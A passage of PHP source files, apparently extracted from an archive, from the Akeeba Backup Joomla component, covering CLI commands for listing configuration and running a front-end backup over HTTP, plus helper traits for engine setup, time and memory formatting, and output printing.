	 * @var    string
	 * @since  7.5.0
	 */
	protected static $defaultName = 'akeeba:sysconfig:list';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   7.5.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		try
		{
			$this->initialiseComponent($this->getApplication());
		}
		catch (\Throwable $e)
		{
			$this->ioStyle->error([
				Text::_('COM_AKEEBABACKUP_CLI_ERR_CANNOT_LOAD_BACKUP_ENGINGE'),
				$e->getMessage(),
			]);

			return 255;
		}

		$format = (string) $this->cliInput->getOption('format') ?? 'table';
		$output = $this->getComponentOptions();

		if (in_array($format, ['table', 'csv']))
		{
			$temp = [];

			foreach ($output as $k => $v)
			{
				$temp[] = [
					'key'   => $k,
					'value' => $v,
				];
			}

			$output = $temp;
		}

		return $this->printFormattedAndReturn($output, $format);
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	protected function configure(): void
	{
		$this->addOption('format', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_SYSCONFIG_LIST_OPT_FORMAT'), 'table');

		$this->setDescription(Text::_('COM_AKEEBABACKUP_CLI_SYSCONFIG_LIST_DESC'));
		$this->setHelp(Text::_('COM_AKEEBABACKUP_CLI_SYSCONFIG_LIST_HELP'));
	}
}
PK     \pa@!   !   #  src/CliCommands/BackupAlternate.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ConfigureIO;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\InitialiseEngine;
use Akeeba\Engine\Platform;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Factory\MVCFactoryAwareTrait;
use Joomla\Console\Command\AbstractCommand;
use Joomla\Http\HttpFactory;
use Joomla\Http\Transport\Curl as CurlTransport;
use Joomla\Http\Transport\Stream as StreamTransport;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;
use Symfony\Component\Console\Style\SymfonyStyle;

/**
 * akeeba:backup:alternate
 *
 * Takes a backup using the front-end backup feature
 *
 * @since   7.5.0
 */
class BackupAlternate extends AbstractCommand
{
	use MVCFactoryAwareTrait;
	use ConfigureIO;
	use ArgumentUtilities;
	use InitialiseEngine;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  9.0.0
	 */
	protected static $defaultName = 'akeeba:backup:alternate';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   9.0.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		try
		{
			$this->initialiseComponent($this->getApplication());
		}
		catch (\Throwable $e)
		{
			$this->ioStyle->error([
				Text::_('COM_AKEEBABACKUP_CLI_ERR_CANNOT_LOAD_BACKUP_ENGINGE'),
				$e->getMessage(),
			]);

			return 255;
		}

		$this->ioStyle->title(Text::_('COM_AKEEBABACKUP_CLI_HEAD_BACKUP_ALTERNATE'));

		$profile = (int) ($this->cliInput->getOption('profile') ?? 1);

		if ($profile <= 0)
		{
			$profile = 1;
		}

		if (function_exists('set_time_limit'))
		{
			$this->ioStyle->comment(Text::_('COM_AKEEBABACKUP_CLI_LBL_UNSET_TIME_LIMITS'));

			@set_time_limit(0);
		}
		else
		{
			$this->ioStyle->warning(Text::_('COM_AKEEBABACKUP_CLI_ERR_UNSET_TIME_LIMITS'));
		}

		$url           = Platform::getInstance()->get_platform_configuration_option('siteurl', '');

		if (empty($url))
		{
			$this->ioStyle->error(Text::_('COM_AKEEBABACKUP_CLI_ERR_NO_LIVE_SITE'));

			return 255;
		}

		// Get the front-end backup settings
		$frontend_enabled = Platform::getInstance()->get_platform_configuration_option('akeebabackup', 'legacyapi_enabled');
		$secret           = Platform::getInstance()->get_platform_configuration_option('frontend_secret_word', '');

		if (!$frontend_enabled)
		{
			$this->ioStyle->error(Text::_('COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_DISABLED'));

			return 255;
		}

		if (empty($secret))
		{
			$this->ioStyle->error(Text::_('COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_NOSECRET'));

			return 255;
		}

		$httpAdapters = [];

		if (CurlTransport::isSupported())
		{
			$httpAdapters[] = 'Curl';
		}

		if (StreamTransport::isSupported())
		{
			$httpAdapters[] = 'Stream';
		}

		if (empty($httpAdapters))
		{
			$this->ioStyle->error([
				Text::_('COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_NOMETHOD'),
				Text::_('COM_AKEEBABACKUP_CLI_ERR_FEBACKUPORCHECK_METHOD_CURL'),
				Text::_('COM_AKEEBABACKUP_CLI_ERR_FEBACKUPORCHECK_METHOD_FOPEN'),
				Text::_('COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_METHOD_NOMETHOD'),
			]);

			return 255;
		}

		$this->ioStyle->section(Text::sprintf('COM_AKEEBABACKUP_CLI_LBL_START_BACKUP_WITH_PROFILE', $profile));

		// Perform the backup
		$url          = rtrim($url, '/');
		$secret       = urlencode($secret);
		$url          .= "/index.php?option=com_akeebabackup&view=Backup&key={$secret}&noredirect=1&profile=$profile";
		$prototypeURL = '';

		$step      = 0;
		$timestamp = date('Y-m-d H:i:s');

		$this->ioStyle->writeln(Text::sprintf('COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_BEGINNING_BACKUP', $timestamp));

		$httpOptions = [
			'follow_location'  => true,
			'transport.curl'   => [
				CURLOPT_SSL_VERIFYPEER => 0,
				CURLOPT_SSL_VERIFYHOST => 0,
				CURLOPT_FOLLOWLOCATION => 1,
				CURLOPT_TIMEOUT        => 600,
			],
			'transport.stream' => [
				'timeout' => 600,
			],
		];

		$http = (new HttpFactory())->getHttp($httpOptions, $httpAdapters);

		while (true)
		{
			$this->ioStyle->writeln(sprintf('URL: %s', $url), SymfonyStyle::VERBOSITY_VERY_VERBOSE);

			$response  = $http->get($url);
			$timestamp = date('Y-m-d H:i:s');

			if (($response->getStatusCode() < 200) || ($response->getStatusCode() >= 300))
			{
				$this->ioStyle->writeln(Text::sprintf('COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_RECEIVED_HTTP', $timestamp, $response->getStatusCode()));
				$this->ioStyle->error(Text::sprintf(
					'COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_HTTP_ERROR',
					$response->getStatusCode(),
					$response->getReasonPhrase()
				));

				return 100;
			}

			$result = (string) $response->getBody();

			if (empty($result) || ($result === false))
			{
				$this->ioStyle->writeln(Text::sprintf('COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_NO_MESSAGE', $timestamp));
				$this->ioStyle->error(Text::_('COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_NO_MESSAGE_FROM_SERVER'));

				return 100;
			}

			if (strpos($result, '301 More work required') !== false)
			{
				// Extract the backup ID
				$backupId = null;
				$startPos = strpos($result, 'BACKUPID ###');
				$endPos   = false;

				if ($startPos !== false)
				{
					$endPos = strpos($result, '###', $startPos + 11);
				}

				if ($endPos !== false)
				{
					$backupId = substr($result, $startPos + 12, $endPos - $startPos - 12);
				}

				// Construct the new URL and access it

				if ($step == 0)
				{
					$prototypeURL = $url;
				}

				$step++;
				$url = $prototypeURL . '&task=step&step=' . $step;

				if (!is_null($backupId))
				{
					$url .= '&backupid=' . urlencode($backupId);
				}

				$this->ioStyle->writeln(Text::sprintf('COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_PROGRESS_RECEIVED', $timestamp));
			}
			elseif (strpos($result, '200 OK') !== false)
			{
				$this->ioStyle->writeln(Text::sprintf('COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_FINALISATION_RECEIVED', $timestamp));
				$this->ioStyle->success([
					Text::_('COM_AKEEBABACKUP_CLI_LBL_FEBACKUP_FINISH_HEAD'),
					Text::_('COM_AKEEBABACKUP_CLI_LBL_FEBACKUP_FINISH_DETAILS'),
				]);

				return 0;
			}
			elseif (strpos($result, '500 ERROR -- ') !== false)
			{
				// Backup error
				$this->ioStyle->writeln(Text::sprintf('COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_ERROR500_RECEIVED', $timestamp));
				$this->ioStyle->error([
					Text::_('COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_ERROR_RECEIVED'),
					$result,
				]);

				return 2;
			}
			elseif (strpos($result, '403 ') !== false)
			{
				// This should never happen: invalid authentication or front-end backup disabled
				$this->ioStyle->writeln(Text::sprintf('COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_ERROR403_RECEIVED', $timestamp));
				$this->ioStyle->error([
					Text::_('COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_ERROR403_RECEIVED'),
					Text::_('COM_AKEEBABACKUP_CLI_ERR_SERVER_RESPONSE'),
					$result,
				]);

				return 103;
			}
			else
			{
				// Unknown result?!
				$this->ioStyle->writeln(Text::sprintf('COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_CORRUPT', $timestamp));
				$this->ioStyle->error([
					Text::_('COM_AKEEBABACKUP_CLI_ERR_CORRUPT_RESPONSE'),
					$result,
					Text::_('COM_AKEEBABACKUP_CLI_ERR_CORRUPT_RESPONSE_INFO'),
				]);

				return 1;
			}
		}
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   9.0.0
	 */
	protected function configure(): void
	{
		$this->addOption('profile', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_BACKUP_ALT_OPT_PROFILE'));
		$this->setDescription(Text::_('COM_AKEEBABACKUP_CLI_BACKUP_ALT_COMMAND_DESC'));
		$this->setHelp(Text::_('COM_AKEEBABACKUP_CLI_BACKUP_ALT_COMMAND_HELP'));
	}
}
PK     \jEZ    *  src/CliCommands/MixIt/InitialiseEngine.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Extension\AkeebaBackupComponent;
use Akeeba\Component\AkeebaBackup\Administrator\Helper\PushMessages;
use Akeeba\Component\AkeebaBackup\Administrator\Helper\SecretWord;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Joomla\Application\ApplicationInterface;
use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\Database\DatabaseInterface;

/**
 * A trait to initialise the Akeeba Engine for use outside the front- and backend site application.
 *
 * @since  9.2.0
 */
trait InitialiseEngine
{
	private $componentObject;

	protected function getComponentObject(ApplicationInterface $app): AkeebaBackupComponent
	{
		if (empty($this->componentObject))
		{
			$this->componentObject = $app->bootComponent('com_akeebabackup');
		}

		return $this->componentObject;
	}

	/**
	 * Initialise the Akeeba Backup engine.
	 *
	 * @param   ApplicationInterface  $app
	 *
	 * @return  void
	 * @throws  \Exception
	 * @since   9.2.0
	 */
	protected function initialiseComponent(ApplicationInterface $app): void
	{
		if (!defined('AKEEBA_CACERT_PEM'))
		{
			$caCertPath = class_exists('\\Composer\\CaBundle\\CaBundle')
				? \Composer\CaBundle\CaBundle::getBundledCaBundlePath()
				: JPATH_LIBRARIES . '/src/Http/Transport/cacert.pem';

			define('AKEEBA_CACERT_PEM', $caCertPath);
		}


		// Load the Akeeba Backup language files
		$lang = $this->getApplication()->getLanguage();
		$lang->load('com_akeebabackup', JPATH_SITE, 'en-GB', true, true);
		$lang->load('com_akeebabackup', JPATH_SITE, null, true, false);
		$lang->load('com_akeebabackup', JPATH_ADMINISTRATOR, 'en-GB', true, true);
		$lang->load('com_akeebabackup', JPATH_ADMINISTRATOR, null, true, false);

		$componentObject = $this->getComponentObject($this->getApplication());
		$dbo = $componentObject->getContainer()->get(DatabaseInterface::class);

		// Load Akeeba Engine
		$this->loadAkeebaEngine($app, $dbo);

		// Load the Akeeba Engine configuration
		$this->loadAkeebaEngineConfiguration();


		// Prevents the "SQLSTATE[HY000]: General error: 2014" due to resource sharing with Akeeba Engine
		// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
		// !!!!! WARNING: ALWAYS GO THROUGH JFactory; DO NOT GO THROUGH $this->container->db !!!!!
		// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

		if (version_compare(PHP_VERSION, '7.999.999', 'le'))
		{
			if ($dbo->getName() == 'pdomysql')
			{
				@$dbo->disconnect();
			}
		}

		// Make sure the front-end backup Secret Word is stored encrypted
		$params = ComponentHelper::getParams('com_akeebabackup');
		SecretWord::enforceEncryption($params, 'frontend_secret_word');

		// Make sure we have a version loaded
		@include_once(JPATH_ADMINISTRATOR . '/components/com_akeebabackup/version.php');

		if (!defined('AKEEBABACKUP_VERSION'))
		{
			define('AKEEBABACKUP_VERSION', 'dev');
			define('AKEEBABACKUP_DATE', date('Y-m-d'));
		}
	}

	/**
	 * Load enough of the Akeeba Backup engine and set up the origin and profile
	 *
	 * @param   ApplicationInterface  $app
	 * @param   DatabaseInterface     $dbo
	 *
	 * @return  void
	 * @since   9.2.0
	 */
	private function loadAkeebaEngine(ApplicationInterface $app, DatabaseInterface $dbo): void
	{
		// Load Composer dependencies
		$autoloader = require_once JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/autoload.php';

		// Necessary defines for Akeeba Engine
		if (!defined('AKEEBAENGINE'))
		{
			define('AKEEBAENGINE', 1);
			define('AKEEBAROOT', JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/engine');
		}

		if (!defined('AKEEBA_BACKUP_ORIGIN'))
		{
			$origin = 'cli';

			if ($app instanceof CMSApplication)
			{
				$origin = $app->isClient('api') ? 'json' : $origin;
				$origin = $app->isClient('site') ? 'frontend' : $origin;
				$origin = $app->isClient('administrator') ? 'backend' : $origin;
			}

			define('AKEEBA_BACKUP_ORIGIN', $origin);
		}

		// Make sure we have a profile set throughout the component's lifetime
		$profile_id = $app->getSession()->get('akeebabackup.profile', null);

		if (is_null($profile_id))
		{
			$app->getSession()->set('akeebabackup.profile', 1);
		}

		// Load Akeeba Engine
		require_once AKEEBAROOT . '/Factory.php';

		// Tell the Akeeba Engine where to load the platform from
		Platform::addPlatform('joomla', JPATH_ADMINISTRATOR . '/components/com_akeebabackup/platform/Joomla');

		// Apply a custom path for the encrypted settings key file
		Factory::getSecureSettings()->setKeyFilename(JPATH_ADMINISTRATOR . '/components/com_akeebabackup/serverkey.php');

		// Add our custom push notifications handler
		Factory::setPushClass(PushMessages::class);

		if (method_exists($this, 'getMVCFactory'))
		{
			PushMessages::$mvcFactory = $this->getMVCFactory();
		}
		else
		{
			// This part of the code executes in Joomla Scheduled Tasks
			$comAkeebaExtension = $app->bootComponent('com_akeeba');
			try
			{
				PushMessages::$mvcFactory = method_exists($comAkeebaExtension, 'getMVCFactory')
					? $comAkeebaExtension->getMVCFactory()
					: null;
			}
			catch (\Exception $e)
			{
				// Yeah, no MVCFactory set. Don't care about push messages.
			}
		}

		// !!! IMPORTANT !!! DO NOT REMOVE! This triggers Akeeba Engine's autoloader. Without it the next line fails!
		$DO_NOT_REMOVE = Platform::getInstance();

		// Set the DBO to the Akeeba Engine platform for Joomla
		Platform\Joomla::setDbDriver($dbo);
	}

	/**
	 * Load the backup profile configuration
	 *
	 * @return  void
	 * @since   9.2.0
	 */
	private function loadAkeebaEngineConfiguration(): void
	{
		$akeebaEngineConfig = Factory::getConfiguration();

		Platform::getInstance()->load_configuration();

		unset($akeebaEngineConfig);
	}

}PK     \ti      src/CliCommands/MixIt/IsPro.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt;

defined('_JEXEC') || die;

/**
 * Is this Akeeba Backup Pro?
 *
 * @since   7.5.0
 */
trait IsPro
{
	/**
	 * Caches whether this is the Pro version of the software.
	 *
	 * @var   null|bool
	 * @since 7.5.0
	 */
	private $isPro = null;

	/**
	 * is this the Professional version of the software?
	 *
	 * @return  bool
	 * @since   7.5.0
	 */
	private function isPro(): bool
	{
		if (!is_null($this->isPro))
		{
			return $this->isPro;
		}

		if (defined('AKEEBABACKUP_PRO'))
		{
			$this->isPro = AKEEBABACKUP_PRO == 1;
		}
		else
		{
			$componentFolder = JPATH_ADMINISTRATOR . '/components/com_akeebabackup';
			$this->isPro     = is_dir($componentFolder . '/AliceEngine');
		}

		return $this->isPro;
	}
}
PK     \}    "  src/CliCommands/MixIt/TimeInfo.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt;

defined('_JEXEC') || die;

/**
 * Utility methods to get time information
 *
 * @since   7.5.0
 */
trait TimeInfo
{
	/**
	 * Returns a fancy formatted time lapse code
	 *
	 * @param   integer   $referenceDateTime  Timestamp of the reference date/time
	 * @param   int|null  $currentDateTime    Timestamp of the current date/time
	 * @param   string    $measureBy          One of s, m, h, d, or y (time unit)
	 * @param   boolean   $autoText           Append text automatically?
	 *
	 * @return  string
	 *
	 * @since   7.5.0
	 */
	private function timeAgo(int $referenceDateTime = 0, ?int $currentDateTime = null, string $measureBy = '', bool $autoText = true): string
	{
		if (is_null($currentDateTime))
		{
			$currentDateTime = time();
		}

		// Raw time difference
		$raw   = $currentDateTime - $referenceDateTime;
		$clean = abs($raw);

		$calcNum = [
			['s', 60],
			['m', 60 * 60],
			['h', 60 * 60 * 60],
			['d', 60 * 60 * 60 * 24],
			['y', 60 * 60 * 60 * 24 * 365],
		];

		$calc = [
			's' => [1, 'second'],
			'm' => [60, 'minute'],
			'h' => [60 * 60, 'hour'],
			'd' => [60 * 60 * 24, 'day'],
			'y' => [60 * 60 * 24 * 365, 'year'],
		];

		if ($measureBy == '')
		{
			$usemeasure = 's';

			for ($i = 0; $i < count($calcNum); $i++)
			{
				if ($clean <= $calcNum[$i][1])
				{
					$usemeasure = $calcNum[$i][0];
					$i          = count($calcNum);
				}
			}
		}
		else
		{
			$usemeasure = $measureBy;
		}

		$datedifference = floor($clean / $calc[$usemeasure][0]);

		if ($autoText == true && ($currentDateTime == time()))
		{
			if ($raw < 0)
			{
				$prospect = ' from now';
			}
			else
			{
				$prospect = ' ago';
			}
		}
		else
		{
			$prospect = '';
		}

		if ($referenceDateTime != 0)
		{
			if ($datedifference == 1)
			{
				return $datedifference . ' ' . $calc[$usemeasure][1] . ' ' . $prospect;
			}
			else
			{
				return $datedifference . ' ' . $calc[$usemeasure][1] . 's ' . $prospect;
			}
		}
		else
		{
			return 'No input time referenced.';
		}
	}
}
PK     \9    $  src/CliCommands/MixIt/MemoryInfo.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt;

defined('_JEXEC') || die;

/**
 * Utility methods to get memory information
 *
 * @since   7.5.0
 */
trait MemoryInfo
{
	/**
	 * Returns the current memory usage
	 *
	 * @return  string
	 *
	 * @since   7.5.0
	 */
	private function memUsage(): string
	{
		if (function_exists('memory_get_usage'))
		{
			$size = memory_get_usage();
			$unit = ['b', 'KB', 'MB', 'GB', 'TB', 'PB'];

			return @round($size / 1024 ** ($i = floor(log($size, 1024))), 2) . ' ' . $unit[$i];
		}
		else
		{
			return "(unknown)";
		}
	}

	/**
	 * Returns the peak memory usage
	 *
	 * @return  string
	 *
	 * @since   7.5.0
	 */
	private function peakMemUsage(): string
	{
		if (function_exists('memory_get_peak_usage'))
		{
			$size = memory_get_peak_usage();
			$unit = ['b', 'KB', 'MB', 'GB', 'TB', 'PB'];

			return @round($size / 1024 ** ($i = floor(log($size, 1024))), 2) . ' ' . $unit[$i];
		}
		else
		{
			return "(unknown)";
		}
	}
}
PK     \c    +  src/CliCommands/MixIt/JsonGuiDataParser.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt;

defined('_JEXEC') || die;

use Akeeba\Engine\Factory;

trait JsonGuiDataParser
{
	/**
	 * Parse the JSON GUI definition returned by Akeeba Engine into something I can use to provide information about
	 * the options.
	 *
	 * @return  array
	 *
	 * @since   7.5.0
	 */
	private function parseJsonGuiData(): array
	{
		$jsonGUIData = Factory::getEngineParamsProvider()->getJsonGuiDefinition();
		$guiData     = json_decode($jsonGUIData, true);

		$ret = [
			'engines'    => [],
			'installers' => [],
			'options'    => [],
		];

		// Parse engines
		foreach ($guiData['engines'] as $engineType => $engineRecords)
		{
			if (!isset($ret['engines'][$engineType]))
			{
				$ret['engines'][$engineType] = [];
			}

			foreach ($engineRecords as $engineName => $record)
			{
				$ret['engines'][$engineType][$engineName] = [
					'title'       => $record['information']['title'],
					'description' => $record['information']['description'],
				];

				foreach ($record['parameters'] as $key => $optionRecord)
				{
					$ret['options'][$key] = array_merge($optionRecord, [
						'section' => $record['information']['title'],
					]);
				}
			}
		}

		// Parse installers
		foreach ($guiData['installers'] as $installerName => $installerInfo)
		{
			$ret['installers'][$installerName] = $installerInfo['name'];
		}

		// Parse GUI sections
		foreach ($guiData['gui'] as $section => $options)
		{
			foreach ($options as $key => $optionRecord)
			{
				$ret['options'][$key] = array_merge($optionRecord, [
					'section' => $section,
				]);
			}
		}

		return $ret;
	}

	/**
	 * Flattens the option tree returned by exportToJson into an array with dotted notation for each option.
	 *
	 * @param   array   $rawOptions  The option tree
	 * @param   string  $prefix      Current prefix, used for recursion
	 *
	 * @return  array
	 * @since   7.5.0
	 */
	private function flattenOptions(array $rawOptions, string $prefix = ''): array
	{
		$ret = [];

		foreach ($rawOptions as $k => $v)
		{
			if (is_array($v))
			{
				$ret = array_merge($ret, $this->flattenOptions($v, $prefix . $k . '.'));

				continue;
			}

			$ret[$prefix . $k] = $v;
		}

		return $ret;
	}

	/**
	 * Get the information for an option record.
	 *
	 * @param   string  $key   The option key
	 * @param   array   $info  The array returned by parseJsonGuiData
	 *
	 * @return  array
	 *
	 * @since   7.5.0
	 */
	private function getOptionInfo(string $key, array &$info): array
	{
		$ret = [];

		if (!isset($info['options'][$key]))
		{
			return $ret;
		}

		$keyInfo = $info['options'][$key];

		$ret = [
			'title'        => $keyInfo['title'],
			'description'  => $keyInfo['description'],
			'section'      => $keyInfo['section'],
			'type'         => $keyInfo['type'],
			'default'      => $keyInfo['default'],
			'options'      => [],
			'optionTitles' => [],
			'limits'       => [],
		];

		switch ($keyInfo['type'])
		{
			case 'integer':
				if (isset($keyInfo['shortcuts']))
				{
					$ret['options'] = explode('|', $keyInfo['shortcuts']);
				}

				$ret['limits'] = [
					'min' => $keyInfo['min'],
					'max' => $keyInfo['max'],
				];
				break;

			case 'bool':
				$ret['type']    = 'integer';
				$ret['options'] = [0, 1];
				$ret['limits']  = [
					'min' => 0,
					'max' => 1,
				];
				break;

			case 'engine':
				$ret['type']         = 'enum';
				$ret['type']         = 'string';
				$ret['options']      = array_keys($info['engines'][$keyInfo['subtype']]);
				$ret['optionTitles'] = [];

				foreach ($info['engines'][$keyInfo['subtype']] as $k => $details)
				{
					$ret['optionTitles'][$k] = $details['title'];
				}

				break;

			case 'installer':
				$ret['type']         = 'enum';
				$ret['type']         = 'string';
				$ret['options']      = array_keys($info['installers']);
				$ret['optionTitles'] = $info['installers'];

				break;

			case 'enum':
				$ret['type']         = 'string';
				$ret['options']      = explode('|', $keyInfo['enumvalues']);
				$ret['optionTitles'] = explode('|', $keyInfo['enumkeys']);

				break;

			case 'hidden':
			case 'button':
			case 'separator':
				$ret['type'] = 'hidden';
				break;

			case 'string':
			case 'browsedir':
			case 'password':
			default:
				$ret['type'] = 'string';
				break;
		}

		return $ret;
	}

}
PK     \6*  *  %  src/CliCommands/MixIt/FilterRoots.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Model\DatabasefiltersModel;
use Akeeba\Engine\Factory;

trait FilterRoots
{
	/**
	 * @param   string  $target
	 *
	 * @return  array
	 *
	 * @since   7.5.0
	 */
	private function getRoots(string $target): array
	{
		$filters   = Factory::getFilters();
		$output    = [];

		switch ($target)
		{
			case 'fs':
				$rootInfo = $filters->getInclusions('dir');

				foreach ($rootInfo as $item)
				{
					$output[] = $item[0];
				}

				break;

			case 'db':
				/** @var DatabasefiltersModel $model */
				$model = $this->getMVCFactory()->createModel('Databasefilters', 'Administrator');
				$rootInfo = $model->getRoots();

				foreach ($rootInfo as $item)
				{
					$output[] = $item->value;
				}

				break;
		}

		return $output;
	}

}
PK     \p}bL`  `  *  src/CliCommands/MixIt/ComponentOptions.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt;

defined('_JEXEC') || die;

use Akeeba\Engine\Platform;
use Joomla\CMS\Form\Form;
use Joomla\CMS\Form\FormField;

trait ComponentOptions
{
	private function getComponentOptions(bool $defaultValuesOnly = false): array
	{
		$output     = [];
		$fieldNames = [];

		$form = new Form('config');
		$form->loadFile(JPATH_ADMINISTRATOR . '/components/com_akeebabackup/config.xml', true, '//config');

		foreach ($form->getFieldsets() as $group => $fieldSetInfo)
		{
			$fields = $form->getFieldset($group);

			if (empty($fields))
			{
				continue;
			}

			foreach ($fields as $fieldName => $v)
			{
				if (!is_object($v) || !($v instanceof FormField))
				{
					continue;
				}

				if (substr((string) $v->type, -5) === 'Rules')
				{
					continue;
				}

				if (in_array(strtolower((string) $v->type), ['hidden', 'rules', 'spacer']))
				{
					continue;
				}

				$fieldNames[$fieldName] = $v->value ?? null;
			}
		}

		if (!$defaultValuesOnly)
		{
			foreach ($fieldNames as $k => $default)
			{
				$output[$k] = Platform::getInstance()->get_platform_configuration_option($k, $default);
			}
		}

		return $output;
	}
}
PK     \Q5w    +  src/CliCommands/MixIt/ArgumentUtilities.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt;

defined('_JEXEC') || die;

/**
 * Utility methods to manage command arguments
 *
 * @since   7.5.0
 */
trait ArgumentUtilities
{
	/**
	 * Parse the overrides provided in the command line.
	 *
	 * Input: "key1=value1, key2= value2, key3 = value3"
	 * Output: ['key1' => 'value1', 'key2' => 'value2', 'key3' => 'value3']
	 *
	 * @param   string  $rawString  The raw string
	 *
	 * @return  array  The parsed overrides
	 *
	 * @since   7.5.0
	 */
	private function commaListToMap(string $rawString): array
	{
		if (empty($rawString) || (trim($rawString) == ''))
		{
			return [];
		}

		$rawString = trim($rawString);
		$ret       = [];
		$lines     = explode(',', $rawString);

		foreach ($lines as $line)
		{
			if (strpos($line, '=') === false)
			{
				continue;
			}

			[$key, $value] = explode('=', $line);
			$key       = trim($key);
			$value     = trim($value);
			$ret[$key] = $value;
		}

		return $ret;
	}
}
PK     \?    -  src/CliCommands/MixIt/PrintFormattedArray.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt;

use Joomla\CMS\Language\Text;

defined('_JEXEC') || die;

trait PrintFormattedArray
{
	/**
	 * Prints the array formatted with the specific format and returns an integer result
	 *
	 * @param   array|null  $data    The data to format and print
	 * @param   string      $format  One of table, json, yaml, csv, count
	 *
	 * @return  int
	 * @since   7.5.0
	 */
	private function printFormattedAndReturn(?array $data, string $format): int
	{
		if (empty($data) && ($format != 'count'))
		{
			return 0;
		}
		elseif (empty($data))
		{
			$data = [];
		}

		$headers = null;

		if (!empty($data))
		{
			$keys     = array_keys($data);
			$firstKey = array_shift($keys);
			$row      = $data[$firstKey];

			if (is_array($row))
			{
				$headers = array_keys($row);
			}
			else
			{
				$headers = array_keys($data);

